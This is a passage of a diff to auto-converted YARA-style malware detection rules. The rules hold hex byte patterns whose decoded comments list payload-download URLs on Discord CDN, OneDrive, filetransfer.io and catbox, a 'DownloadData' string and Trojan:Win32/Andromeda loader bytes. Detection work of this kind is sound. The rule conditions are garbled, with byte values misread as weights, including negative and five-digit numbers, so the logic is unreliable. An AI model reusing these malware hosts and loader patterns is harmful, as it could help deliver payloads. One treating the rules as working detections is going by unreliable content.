6d 00 6e 00 76 00 6f 00 75 00 77 00 67 00 6c 00 6d 00 6d 00 6b 00 66 00 75 00 79 00 6f 00 2e 00 44 00 6b 00 70 00 6b 00 76 00 71 00 73 00 62 00 62 00 73 00 68 00 6a 00 61 00 75 00 0a 00 ac 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 63 00 64 00 6e 00 2e 00 64 00 69 00 73 00 63 00 } //67 + $a_00_62 = {64 00 61 00 70 00 70 00 2e 00 63 00 6f 00 6d 00 2f 00 61 00 74 00 74 00 61 00 63 00 68 00 6d 00 65 00 6e 00 74 00 73 00 2f 00 39 00 31 00 33 00 35 00 38 00 34 00 32 00 31 00 36 00 38 00 32 00 35 00 30 00 32 00 38 00 36 00 31 00 32 00 2f 00 39 00 34 00 33 00 34 00 38 00 35 00 31 00 38 00 32 00 39 00 36 00 35 00 36 00 30 00 34 00 33 00 39 00 } //111 dapp.com/attachments/913584216825028612/94348518296560439 + $a_00_63 = {44 00 6f 00 75 00 73 00 6d 00 2e 00 6a 00 70 00 67 00 0a 00 b4 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 63 00 64 00 6e 00 2e 00 64 } //50 + $a_00_65 = {72 00 64 00 61 00 70 00 70 00 2e 00 63 00 6f 00 6d 00 2f 00 61 00 74 00 74 00 61 00 63 00 68 00 6d 00 65 00 6e 00 74 00 73 00 2f 00 39 00 31 00 33 00 35 00 38 00 34 00 32 00 31 00 36 00 38 00 32 00 35 00 30 00 32 00 38 00 36 00 31 00 32 00 2f 00 39 00 34 00 35 00 30 00 39 00 31 00 35 00 30 00 30 00 38 00 36 00 38 00 35 00 30 00 31 } //99 + $a_00_67 = {57 00 69 00 6c 00 61 00 73 00 67 00 68 00 64 00 66 00 2e 00 6a 00 70 00 67 00 0a 00 b4 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 63 } //53 + $a_00_69 = {69 00 73 00 63 00 6f 00 72 00 64 00 61 00 70 00 70 00 2e 00 63 00 6f 00 6d 00 2f 00 61 00 74 00 74 00 61 00 63 00 68 00 6d 00 65 00 6e 00 74 00 73 00 2f 00 39 00 31 00 33 00 35 00 38 00 34 00 32 00 31 00 36 00 38 00 32 00 35 00 30 00 32 00 38 00 36 00 31 00 32 00 2f 00 39 00 34 00 32 00 37 00 38 00 } //46 iscordapp.com/attachments/913584216825028612/94278 + $a_00_70 = {38 00 37 00 33 00 32 00 32 00 35 00 32 00 35 00 37 00 32 00 36 00 2f 00 5a 00 6b 00 75 00 65 00 61 00 75 00 6a 00 79 00 63 00 2e 00 70 00 6e 00 67 00 } //56 87322525726/Zkueaujyc.png + $a_00_71 = {50 00 67 00 7a 00 73 00 62 00 6e 00 67 00 6b 00 65 00 70 00 65 00 66 00 2e 00 4d 00 74 00 6b 00 6c 00 72 00 6a 00 73 00 } //1 Pgzsbngkepef.Mtklrjs + $a_00_72 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 63 00 64 00 6e 00 2e 00 64 00 69 00 73 00 63 00 6f 00 72 00 64 00 61 00 70 00 70 00 2e 00 63 00 6f 00 6d 00 2f 00 61 00 74 00 74 00 61 00 63 00 68 00 6d 00 65 00 6e 00 74 00 73 00 2f 00 39 00 31 00 33 00 35 00 38 00 34 00 32 00 31 00 36 00 38 00 32 00 35 00 30 00 32 00 38 00 36 00 31 00 32 00 2f 00 39 00 34 00 35 00 30 00 35 00 33 00 38 00 30 00 32 00 39 00 37 00 35 00 38 00 35 00 34 00 36 00 33 00 32 00 2f 00 46 00 79 00 78 00 72 00 64 00 6d 00 2e 00 70 00 6e 00 67 00 } //10 https://cdn.discordapp.com/attachments/913584216825028612/945053802975854632/Fyxrdm.png + $a_00_73 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 63 00 64 00 6e 00 2e 00 64 00 69 00 73 00 63 00 6f 00 72 00 64 00 61 00 70 00 70 00 2e 00 63 00 6f 00 6d 00 2f 00 61 00 74 00 74 00 61 00 63 00 68 00 6d 00 65 00 6e 00 74 00 73 00 2f 00 39 00 34 00 38 00 35 00 37 00 38 00 38 00 32 00 33 00 39 00 38 00 33 00 37 00 32 00 36 00 37 00 32 00 36 00 2f 00 39 00 35 00 32 00 38 00 35 00 34 00 38 00 34 00 36 00 39 00 37 00 35 00 39 00 33 00 30 00 34 00 36 00 38 00 2f 00 43 00 79 00 78 00 63 00 68 00 5f 00 56 00 73 00 6b 00 6b 00 64 00 6a 00 6a 00 69 00 2e 00 6a 00 70 00 67 00 } //10 https://cdn.discordapp.com/attachments/948578823983726726/952854846975930468/Cyxch_Vskkdjji.jpg + $a_00_74 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 63 00 64 00 6e 00 2e 00 64 00 69 00 73 00 63 00 6f 00 72 00 64 00 61 00 70 00 70 00 2e 00 63 00 6f 00 6d 00 2f 00 61 00 74 00 74 00 61 00 63 00 68 00 6d 00 65 00 6e 00 74 00 73 00 2f 00 39 00 35 00 33 00 31 00 38 00 31 00 37 00 34 00 38 00 30 00 36 00 30 00 31 00 31 00 39 00 30 00 34 00 30 00 2f 00 39 00 35 00 35 00 32 00 34 00 34 00 38 00 30 00 32 00 36 00 33 00 37 00 36 00 39 00 37 00 30 00 38 00 34 00 2f 00 71 00 77 00 65 00 72 00 74 00 79 00 2e 00 70 00 6e 00 67 00 } //10 https://cdn.discordapp.com/attachments/953181748060119040/955244802637697084/qwerty.png + $a_00_75 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 63 00 64 00 6e 00 2e 00 64 00 69 00 73 00 63 00 6f 00 72 00 64 00 61 00 70 00 70 00 2e 00 63 00 6f 00 6d 00 2f 00 61 00 74 00 74 00 61 00 63 00 68 00 6d 00 65 00 6e 00 74 00 73 00 2f 00 39 00 35 00 32 00 38 00 32 00 32 00 32 00 38 00 30 00 34 00 37 00 34 00 34 00 37 00 36 00 35 00 38 00 35 00 2f 00 39 00 35 00 35 00 32 00 32 00 32 00 33 00 37 00 30 00 31 00 31 00 35 00 38 00 30 00 31 00 31 00 34 00 39 00 2f 00 4d 00 61 00 65 00 72 00 73 00 6b 00 5f 00 47 00 6c 00 6f 00 62 00 61 00 6c 00 5f 00 53 00 68 00 69 00 70 00 70 00 69 00 6e 00 67 00 73 00 5f 00 4c 00 6c 00 68 00 61 00 66 00 75 00 74 00 7a 00 2e 00 70 00 6e 00 67 00 } //10 https://cdn.discordapp.com/attachments/952822280474476585/955222370115801149/Maersk_Global_Shippings_Llhafutz.png + $a_00_76 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 6f 00 6e 00 65 00 64 00 72 00 69 00 76 00 65 00 2e 00 6c 00 69 00 76 00 65 00 2e 00 63 00 6f 00 6d 00 2f 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 3f 00 72 00 65 00 73 00 69 00 64 00 3d 00 39 00 44 00 39 00 44 00 33 00 46 00 30 00 43 00 33 00 35 00 33 00 46 00 41 00 45 00 36 00 41 00 25 00 32 00 31 00 31 00 33 00 37 00 26 00 61 00 75 00 74 00 68 00 6b 00 65 00 79 00 3d 00 21 00 41 00 41 00 68 00 6e 00 66 00 69 00 58 00 58 00 79 00 43 00 4e 00 30 00 55 00 6f 00 6f 00 } //10 https://onedrive.live.com/download?resid=9D9D3F0C353FAE6A%21137&authkey=!AAhnfiXXyCN0Uoo + $a_00_77 = {68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 66 00 69 00 6c 00 65 00 74 00 72 00 61 00 6e 00 73 00 66 00 65 00 72 00 2e 00 69 00 6f 00 2f 00 64 00 61 00 74 00 61 00 2d 00 70 00 61 00 63 00 6b 00 61 00 67 00 65 00 2f 00 72 00 48 00 35 00 6c 00 44 00 33 00 78 00 79 00 } //10 http://filetransfer.io/data-package/rH5lD3xy + $a_00_78 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 66 00 69 00 6c 00 65 00 73 00 2e 00 63 00 61 00 74 00 62 00 6f 00 78 00 2e 00 6d 00 6f 00 65 00 2f 00 6d 00 36 00 64 00 77 00 64 00 68 00 2e 00 77 00 61 00 76 00 } //10 https://files.catbox.moe/m6dwdh.wav + $a_01_79 = {2e 65 64 6f 6d 20 53 4f 44 20 6e 69 20 6e 75 72 20 65 62 20 74 6f 6e 6e 61 63 20 6d 61 72 67 6f 72 70 20 73 69 68 54 21 } //1 .edom SOD ni nur eb tonnac margorp sihT! + $a_00_80 = {2e 00 50 00 72 00 6f 00 70 00 65 00 72 00 74 00 69 00 65 00 73 00 2e 00 52 00 65 00 73 00 6f 00 75 00 72 00 63 00 65 00 73 00 } //1 .Properties.Resources + $a_00_81 = {6e 00 6f 00 69 00 74 00 61 00 6c 00 73 00 6e 00 61 00 72 00 54 00 } //1 noitalsnarT + $a_01_82 = {44 6f 77 6e 6c 6f 61 64 44 61 74 61 } //1 DownloadData + $a_6f_83 = {00 0f 00 0f 00 0f 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 6e 64 72 6f 6d 2e 53 49 42 21 4d 54 42 00 01 00 a9 02 b9 6c 00 00 00 ff d6 8b 55 90 01 01 b9 6c 00 00 00 88 82 64 05 00 00 ff d6 8b 4d 90 1b 00 88 81 65 05 00 00 b9 65 00 00 00 ff d6 8b 55 90 1b 00 b9 68 00 00 00 88 82 66 05 00 00 ff d6 8b 4d 90 1b 00 88 81 67 05 00 00 b9 73 00 } //0 + $a_d6_84 = {55 90 1b 00 b9 72 00 00 00 88 82 68 05 00 00 ff d6 8b 4d 90 1b 00 88 81 69 05 00 00 b9 65 00 00 00 ff d6 8b 55 90 1b 00 b9 77 00 00 00 88 82 6a 05 00 00 ff d6 8b 4d 90 1b 00 88 81 6b 05 00 00 b9 6f 00 00 00 ff d6 8b 55 90 1b 00 b9 70 00 00 00 88 82 6c 05 00 00 90 00 01 00 eb 02 b9 29 00 00 00 ff d6 8b 55 90 01 01 b9 27 00 00 00 88 02 ff d6 8b 4d 90 1b 00 88 41 01 b9 6b 00 00 00 ff d6 8b 55 90 1b 00 b9 6e 00 00 00 88 42 02 ff d6 8b 4d 90 1b 00 88 41 03 b9 6c 00 00 00 ff d6 8b 55 90 1b 00 b9 2e 00 00 00 88 42 04 ff d6 8b 4d 90 1b 00 88 41 05 b9 6c 00 00 00 ff d6 8b 55 90 1b 00 b9 65 00 00 00 88 42 06 ff d6 8b 4d 90 1b 00 88 41 07 b9 64 00 00 00 ff d6 8b 55 90 1b 00 b9 6f 00 00 00 88 42 08 ff d6 8b 4d 90 1b 00 88 41 09 b9 4d 00 00 00 ff d6 8b 55 90 1b 00 b9 } //0 + $a_ff_86 = {8b 4d 90 1b 00 88 41 0b b9 74 } //17032 + $a_1b_88 = {b9 61 00 00 00 88 42 0c ff d6 8b 4d 90 1b 00 88 41 0d b9 44 00 00 00 ff d6 8b 55 90 1b 00 b9 72 00 00 00 88 42 0e ff d6 8b 4d 90 00 01 00 ef 02 88 41 0f b9 65 00 00 00 ff d6 8b 55 90 01 01 b9 68 00 00 00 88 42 10 ff d6 8b 4d 90 1b 00 88 41 11 b9 63 00 00 00 ff d6 8b 55 90 1b 00 b9 74 00 00 00 88 42 12 ff d6 8b 4d 90 1b 00 88 41 13 b9 69 00 00 00 ff d6 8b 55 90 1b 00 b9 77 00 00 00 88 42 14 ff d6 8b 4d 90 1b 00 88 41 15 b9 53 00 } //21899 + $a_d6_89 = {55 90 1b 00 b9 5c 00 00 00 88 42 16 ff d6 8b 4d 90 1b 00 88 41 17 b9 61 00 00 00 ff d6 8b 55 90 1b 00 b9 74 00 00 00 88 42 18 ff d6 8b 4d 90 1b 00 88 41 19 b9 61 00 00 00 ff d6 8b 55 90 1b 00 b9 44 00 00 00 88 42 1a ff d6 8b 4d 90 1b 00 88 41 1b b9 70 00 00 00 ff d6 8b 55 90 1b 00 b9 70 00 00 00 88 42 1c ff d6 8b 4d 90 1b 00 88 41 1d b9 41 00 00 00 ff d6 8b 55 90 1b 00 b9 5c 00 00 00 88 42 1e ff d6 8b 4d 90 00 01 00 ef 02 88 41 1f b9 27 00 00 00 ff d6 8b 55 90 01 01 b9 2b 00 00 00 88 42 20 ff d6 8b 4d 90 1b 00 88 41 21 b9 65 00 00 00 ff d6 8b 55 90 1b 00 b9 6c 00 00 00 88 42 22 ff d6 8b 4d 90 1b 00 88 41 23 b9 69 00 00 00 ff d6 8b 55 90 1b 00 b9 66 00 00 00 88 42 24 ff d6 8b 4d 90 1b 00 88 41 25 b9 6f 00 00 00 ff d6 8b 55 90 1b 00 b9 72 00 00 00 88 42 26 } //0 + condition: + ((#a_4c_0 & 1)*21539+(#a_66_1 & 1)*8192+(#a_6d_2 & 1)*26735+(#a_70_3 & 1)*28778+(#a_69_4 & 1)*27746+(#a_67_5 & 1)*28519+(#a_64_6 & 1)*27246+(#a_6f_7 & 1)*28001+(#a_62_8 & 1)*26210+(#a_6c_9 & 1)*28263+(#a_6b_10 & 1)*24939+(#a_65_11 & 1)*27235+(#a_64_12 & 1)*27240+(#a_6b_13 & 1)*28779+(#a_64_14 & 1)*28516+(#a_70_15 & 1)*28774+(#a_6b_16 & 1)*26728+(#a_63_18 & 1)*28780+(#a_6b_19 & 1)*27137+(#a_65_20 & 1)*25711+(#a_67_21 & 1)*28006+(#a_70_22 & 1)*27502+(#a_6e_23 & 1)*29816+(#a_37_24 & 1)*12901+(#a_64_25 & 1)*298+(#a_7d_26 & 1)*14437+(#a_35_28 & 1)*14203+(#a_65_29 & 1)*25962+(#a_6d_30 & 1)*27243+(#a_6a_31 & 1)*24931+(#a_6a_32 & 1)*25704+(#a_6f_33 & 1)*26478+(#a_65_34 & 1)*25963+(#a_68_35 & 1)*25187+(#a_00_37 & 1)*115+(#a_00_39 & 1)*49+(#a_00_40 & 1)*47+(#a_00_42 & 1)*101+(#a_00_43 & 1)*104+(#a_00_44 & 1)*48+(#a_00_46 & 1)*116+(#a_00_47 & 1)*48+(#a_00_49 & 1)*104+(#a_00_50 & 1)*51+(#a_00_51 & 1)*103+(#a_00_52 & 1)*115+(#a_00_53 & 1)*110+(#a_00_54 & 1)*112+(#a_00_56 & 1)*53+(#a_00_57 & 1)*58+(#a_00_59 & 1)*109+(#a_00_61 & 1)*67+(#a_00_62 & 1)*111+(#a_00_63 & 1)*50+(#a_00_65 & 1)*99+(#a_00_67 & 1)*53+(#a_00_69 & 1)*46+(#a_00_70 & 1)*56+(#a_00_71 & 1)*1+(#a_00_72 & 1)*10+(#a_00_73 & 1)*10+(#a_00_74 & 1)*10+(#a_00_75 & 1)*10+(#a_00_76 & 1)*10+(#a_00_77 & 1)*10+(#a_00_78 & 1)*10+(#a_01_79 & 1)*1+(#a_00_80 & 1)*1+(#a_00_81 & 1)*1+(#a_01_82 & 1)*1+(#a_6f_83 & 1)*0+(#a_d6_84 & 1)*0+(#a_ff_86 & 1)*17032+(#a_1b_88 & 1)*21899+(#a_d6_89 & 1)*0) >=6 + +} +rule _InfrastructureShared_21821{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 18 00 21 " @@ -267212,7 +282837,7 @@ rule _InfrastructureShared_20592{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*97+(#a_00_2 & 1)*67+(#a_00_3 & 1)*51+(#a_00_5 & 1)*52+(#a_00_6 & 1)*46+(#a_00_7 & 1)*52+(#a_00_9 & 1)*116+(#a_00_10 & 1)*51+(#a_00_11 & 1)*112+(#a_00_12 & 1)*51+(#a_00_13 & 1)*122+(#a_00_14 & 1)*100+(#a_00_16 & 1)*55+(#a_00_17 & 1)*47+(#a_00_19 & 1)*56+(#a_00_20 & 1)*172+(#a_00_21 & 1)*56+(#a_00_22 & 1)*46+(#a_00_23 & 1)*115) >=11 } -rule _InfrastructureShared_20593{ +rule _InfrastructureShared_21822{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 0f 00 21 " @@ -267233,7 +282858,7 @@ rule _InfrastructureShared_20593{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*-28587+(#a_d6_2 & 1)*0+(#a_ff_4 & 1)*17032+(#a_1b_6 & 1)*21899+(#a_d6_7 & 1)*0+(#a_4d_8 & 1)*-10497+(#a_00_9 & 1)*-18175+(#a_90_10 & 1)*-29738+(#a_ff_12 & 1)*17032+(#a_d6_13 & 1)*15426+(#a_00_14 & 1)*-18174) >=15 } -rule _InfrastructureShared_20594{ +rule _InfrastructureShared_21823{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 58 00 21 " @@ -267325,7 +282950,7 @@ rule _InfrastructureShared_20594{ ((#a_72_0 & 1)*17699+(#a_00_1 & 1)*38+(#a_00_2 & 1)*118+(#a_00_4 & 1)*118+(#a_00_6 & 1)*86+(#a_00_8 & 1)*10+(#a_00_9 & 1)*1+(#a_00_10 & 1)*10+(#a_00_11 & 1)*1+(#a_00_12 & 1)*10+(#a_00_13 & 1)*1+(#a_00_14 & 1)*10+(#a_00_15 & 1)*1+(#a_00_16 & 1)*10+(#a_00_17 & 1)*1+(#a_00_18 & 1)*10+(#a_00_19 & 1)*1+(#a_00_20 & 1)*10+(#a_00_21 & 1)*1+(#a_00_22 & 1)*10+(#a_00_23 & 1)*1+(#a_00_24 & 1)*10+(#a_00_25 & 1)*1+(#a_00_26 & 1)*10+(#a_00_27 & 1)*1+(#a_00_28 & 1)*10+(#a_00_29 & 1)*1+(#a_00_30 & 1)*10+(#a_00_31 & 1)*1+(#a_00_32 & 1)*10+(#a_00_33 & 1)*1+(#a_00_34 & 1)*10+(#a_00_35 & 1)*1+(#a_00_36 & 1)*10+(#a_00_37 & 1)*1+(#a_00_38 & 1)*10+(#a_00_39 & 1)*1+(#a_00_40 & 1)*10+(#a_00_41 & 1)*1+(#a_00_42 & 1)*10+(#a_00_43 & 1)*1+(#a_00_44 & 1)*10+(#a_00_45 & 1)*1+(#a_00_46 & 1)*10+(#a_00_47 & 1)*1+(#a_00_48 & 1)*10+(#a_00_49 & 1)*1+(#a_00_50 & 1)*10+(#a_00_51 & 1)*1+(#a_00_52 & 1)*10+(#a_00_53 & 1)*1+(#a_00_54 & 1)*10+(#a_00_55 & 1)*1+(#a_00_56 & 1)*10+(#a_00_57 & 1)*1+(#a_00_58 & 1)*10+(#a_02_59 & 1)*1+(#a_00_60 & 1)*10+(#a_00_61 & 1)*1+(#a_00_62 & 1)*10+(#a_00_63 & 1)*1+(#a_00_64 & 1)*10+(#a_00_65 & 1)*1+(#a_00_66 & 1)*10+(#a_00_67 & 1)*1+(#a_00_68 & 1)*10+(#a_00_69 & 1)*1+(#a_00_70 & 1)*11+(#a_00_71 & 1)*1+(#a_00_72 & 1)*11+(#a_00_73 & 1)*1+(#a_00_74 & 1)*11+(#a_00_75 & 1)*1+(#a_00_76 & 1)*11+(#a_00_77 & 1)*1+(#a_00_78 & 1)*11+(#a_00_79 & 1)*1+(#a_00_80 & 1)*11+(#a_00_81 & 1)*1+(#a_10_82 & 1)*0+(#a_67_83 & 1)*19571+(#a_00_84 & 1)*97+(#a_00_86 & 1)*121) >=11 } -rule _InfrastructureShared_20595{ +rule _InfrastructureShared_21824{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 5e 00 21 " @@ -267420,7 +283045,7 @@ rule _InfrastructureShared_20595{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*28757+(#a_5f_2 & 1)*27489+(#a_00_3 & 1)*68+(#a_2b_5 & 1)*400+(#a_00_7 & 1)*103+(#a_00_9 & 1)*97+(#a_00_10 & 1)*32+(#a_00_12 & 1)*98+(#a_00_13 & 1)*32+(#a_01_15 & 1)*1+(#a_01_16 & 1)*1+(#a_01_17 & 1)*1+(#a_01_18 & 1)*1+(#a_01_19 & 1)*1+(#a_01_20 & 1)*1+(#a_01_21 & 1)*1+(#a_01_22 & 1)*1+(#a_01_23 & 1)*1+(#a_01_24 & 1)*1+(#a_01_25 & 1)*1+(#a_01_26 & 1)*1+(#a_01_27 & 1)*1+(#a_01_28 & 1)*1+(#a_01_29 & 1)*1+(#a_01_30 & 1)*1+(#a_01_31 & 1)*1+(#a_01_32 & 1)*1+(#a_01_33 & 1)*1+(#a_01_34 & 1)*1+(#a_01_35 & 1)*1+(#a_01_36 & 1)*1+(#a_01_37 & 1)*1+(#a_01_38 & 1)*1+(#a_03_39 & 1)*1+(#a_01_40 & 1)*1+(#a_01_41 & 1)*1+(#a_03_42 & 1)*1+(#a_01_43 & 1)*1+(#a_01_44 & 1)*1+(#a_01_45 & 1)*1+(#a_01_46 & 1)*1+(#a_01_47 & 1)*1+(#a_01_48 & 1)*1+(#a_01_49 & 1)*1+(#a_03_50 & 1)*1+(#a_01_51 & 1)*1+(#a_01_52 & 1)*1+(#a_01_53 & 1)*1+(#a_01_54 & 1)*1+(#a_01_55 & 1)*1+(#a_01_56 & 1)*1+(#a_01_57 & 1)*1+(#a_01_58 & 1)*1+(#a_01_59 & 1)*1+(#a_01_60 & 1)*1+(#a_01_61 & 1)*1+(#a_01_62 & 1)*1+(#a_01_63 & 1)*1+(#a_01_64 & 1)*1+(#a_01_65 & 1)*1+(#a_01_66 & 1)*1+(#a_01_67 & 1)*1+(#a_01_68 & 1)*1+(#a_01_69 & 1)*1+(#a_01_70 & 1)*1+(#a_01_71 & 1)*1+(#a_01_72 & 1)*1+(#a_01_73 & 1)*1+(#a_03_74 & 1)*1+(#a_01_75 & 1)*1+(#a_03_76 & 1)*1+(#a_03_77 & 1)*1+(#a_03_78 & 1)*1+(#a_01_79 & 1)*1+(#a_01_80 & 1)*1+(#a_01_81 & 1)*1+(#a_01_82 & 1)*1+(#a_30_83 & 1)*0+(#a_ff_84 & 1)*22849+(#a_5a_85 & 1)*21057+(#a_49_86 & 1)*4096+(#a_5b_88 & 1)*21313+(#a_49_89 & 1)*4096+(#a_5d_91 & 1)*21825+(#a_49_92 & 1)*4096) >=15 } -rule _InfrastructureShared_20596{ +rule _InfrastructureShared_21825{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 ffffffc0 00 21 " @@ -267621,7 +283246,7 @@ rule _InfrastructureShared_20596{ ((#a_46_0 & 1)*16675+(#a_c7_1 & 1)*272+(#a_01_2 & 1)*10+(#a_01_3 & 1)*10+(#a_01_4 & 1)*10+(#a_01_5 & 1)*10+(#a_01_6 & 1)*10+(#a_01_7 & 1)*10+(#a_01_8 & 1)*10+(#a_01_9 & 1)*10+(#a_01_10 & 1)*10+(#a_01_11 & 1)*10+(#a_01_12 & 1)*10+(#a_01_13 & 1)*10+(#a_01_14 & 1)*10+(#a_01_15 & 1)*10+(#a_01_16 & 1)*10+(#a_01_17 & 1)*10+(#a_01_18 & 1)*10+(#a_01_19 & 1)*10+(#a_01_20 & 1)*10+(#a_01_21 & 1)*10+(#a_01_22 & 1)*10+(#a_01_23 & 1)*10+(#a_01_24 & 1)*10+(#a_01_25 & 1)*10+(#a_01_26 & 1)*10+(#a_01_27 & 1)*10+(#a_01_28 & 1)*10+(#a_01_29 & 1)*10+(#a_01_30 & 1)*10+(#a_01_31 & 1)*10+(#a_01_32 & 1)*10+(#a_01_33 & 1)*10+(#a_01_34 & 1)*10+(#a_01_35 & 1)*10+(#a_01_36 & 1)*10+(#a_01_37 & 1)*10+(#a_01_38 & 1)*10+(#a_01_39 & 1)*10+(#a_01_40 & 1)*10+(#a_01_41 & 1)*10+(#a_01_42 & 1)*10+(#a_01_43 & 1)*10+(#a_01_44 & 1)*10+(#a_01_45 & 1)*10+(#a_01_46 & 1)*10+(#a_01_47 & 1)*10+(#a_01_48 & 1)*10+(#a_01_49 & 1)*10+(#a_01_50 & 1)*10+(#a_01_51 & 1)*10+(#a_01_52 & 1)*10+(#a_01_53 & 1)*10+(#a_01_54 & 1)*10+(#a_01_55 & 1)*10+(#a_01_56 & 1)*10+(#a_01_57 & 1)*10+(#a_01_58 & 1)*10+(#a_01_59 & 1)*10+(#a_01_60 & 1)*10+(#a_01_61 & 1)*10+(#a_01_62 & 1)*10+(#a_01_63 & 1)*10+(#a_01_64 & 1)*10+(#a_01_65 & 1)*10+(#a_01_66 & 1)*10+(#a_01_67 & 1)*10+(#a_01_68 & 1)*10+(#a_01_69 & 1)*10+(#a_01_70 & 1)*10+(#a_01_71 & 1)*10+(#a_01_72 & 1)*10+(#a_01_73 & 1)*10+(#a_01_74 & 1)*10+(#a_01_75 & 1)*10+(#a_01_76 & 1)*10+(#a_01_77 & 1)*10+(#a_01_78 & 1)*10+(#a_01_79 & 1)*10+(#a_01_80 & 1)*10+(#a_01_81 & 1)*10+(#a_01_82 & 1)*10+(#a_01_83 & 1)*10+(#a_01_84 & 1)*10+(#a_01_85 & 1)*10+(#a_01_86 & 1)*10+(#a_01_87 & 1)*10+(#a_01_88 & 1)*10+(#a_01_89 & 1)*10+(#a_01_90 & 1)*10+(#a_01_91 & 1)*10+(#a_01_92 & 1)*10+(#a_01_93 & 1)*10+(#a_01_94 & 1)*10+(#a_01_95 & 1)*10+(#a_01_96 & 1)*10+(#a_01_97 & 1)*10+(#a_01_98 & 1)*10+(#a_01_99 & 1)*10+(#a_01_100 & 1)*10+(#a_01_101 & 1)*10+(#a_01_102 & 1)*10+(#a_01_103 & 1)*10+(#a_01_104 & 1)*10+(#a_01_105 & 1)*10+(#a_01_106 & 1)*10+(#a_01_107 & 1)*10+(#a_01_108 & 1)*10+(#a_01_109 & 1)*10+(#a_01_110 & 1)*10+(#a_01_111 & 1)*10+(#a_01_112 & 1)*10+(#a_01_113 & 1)*10+(#a_01_114 & 1)*10+(#a_01_115 & 1)*10+(#a_01_116 & 1)*10+(#a_01_117 & 1)*10+(#a_01_118 & 1)*10+(#a_01_119 & 1)*10+(#a_01_120 & 1)*10+(#a_01_121 & 1)*10+(#a_01_122 & 1)*10+(#a_01_123 & 1)*10+(#a_01_124 & 1)*10+(#a_01_125 & 1)*10+(#a_01_126 & 1)*10+(#a_01_127 & 1)*10+(#a_01_128 & 1)*10+(#a_01_129 & 1)*10+(#a_01_130 & 1)*10+(#a_01_131 & 1)*10+(#a_01_132 & 1)*10+(#a_01_133 & 1)*10+(#a_01_134 & 1)*10+(#a_01_135 & 1)*10+(#a_01_136 & 1)*10+(#a_01_137 & 1)*10+(#a_01_138 & 1)*10+(#a_01_139 & 1)*10+(#a_01_140 & 1)*10+(#a_01_141 & 1)*10+(#a_01_142 & 1)*10+(#a_01_143 & 1)*10+(#a_01_144 & 1)*10+(#a_01_145 & 1)*10+(#a_01_146 & 1)*10+(#a_01_147 & 1)*10+(#a_01_148 & 1)*10+(#a_01_149 & 1)*10+(#a_01_150 & 1)*10+(#a_01_151 & 1)*10+(#a_01_152 & 1)*10+(#a_01_153 & 1)*10+(#a_01_154 & 1)*10+(#a_01_155 & 1)*10+(#a_01_156 & 1)*10+(#a_01_157 & 1)*10+(#a_01_158 & 1)*10+(#a_01_159 & 1)*10+(#a_01_160 & 1)*10+(#a_01_161 & 1)*10+(#a_01_162 & 1)*10+(#a_01_163 & 1)*10+(#a_01_164 & 1)*10+(#a_01_165 & 1)*10+(#a_01_166 & 1)*10+(#a_01_167 & 1)*10+(#a_01_168 & 1)*10+(#a_01_169 & 1)*10+(#a_01_170 & 1)*10+(#a_01_171 & 1)*10+(#a_01_172 & 1)*10+(#a_01_173 & 1)*10+(#a_01_174 & 1)*10+(#a_01_175 & 1)*10+(#a_01_176 & 1)*10+(#a_01_177 & 1)*10+(#a_01_178 & 1)*10+(#a_01_179 & 1)*10+(#a_01_180 & 1)*10+(#a_01_181 & 1)*10+(#a_01_182 & 1)*10+(#a_01_183 & 1)*10+(#a_01_184 & 1)*10+(#a_01_185 & 1)*10+(#a_01_186 & 1)*10+(#a_01_187 & 1)*10+(#a_38_188 & 1)*0+(#a_72_189 & 1)*29285+(#a_67_190 & 1)*29300+(#a_6e_191 & 1)*25710) >=30 } -rule _InfrastructureShared_20597{ +rule _InfrastructureShared_21826{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 ffffffb2 00 21 " @@ -267805,7 +283430,7 @@ rule _InfrastructureShared_20597{ ((#a_46_0 & 1)*16675+(#a_5d_1 & 1)*-32761+(#a_20_2 & 1)*24933+(#a_53_4 & 1)*384+(#a_65_5 & 1)*384+(#a_68_6 & 1)*-32758+(#a_72_7 & 1)*8304+(#a_03_8 & 1)*26977+(#a_6e_9 & 1)*24936+(#a_00_10 & 1)*111+(#a_65_11 & 1)*29285+(#a_73_12 & 1)*29774+(#a_74_13 & 1)*25705+(#a_00_14 & 1)*559+(#a_00_15 & 1)*100+(#a_00_16 & 1)*107+(#a_00_17 & 1)*108+(#a_72_18 & 1)*29300+(#a_00_20 & 1)*144+(#a_90_21 & 1)*26222+(#a_61_22 & 1)*258+(#a_02_23 & 1)*101+(#a_6f_24 & 1)*28773+(#a_00_26 & 1)*110+(#a_6e_27 & 1)*27507+(#a_01_28 & 1)*-28572+(#a_69_29 & 1)*26994+(#a_74_30 & 1)*24902+(#a_00_31 & 1)*102+(#a_65_32 & 1)*28265+(#a_20_33 & 1)*20819+(#a_4f_34 & 1)*268+(#a_ff_35 & 1)*29797+(#a_ff_36 & 1)*17490+(#a_73_37 & 1)*24915+(#a_65_38 & 1)*28493+(#a_6b_39 & 1)*26988+(#a_61_40 & 1)*26996+(#a_72_41 & 1)*29795+(#a_41_42 & 1)*22273+(#a_50_43 & 1)*28225+(#a_9c_44 & 1)*29281+(#a_74_45 & 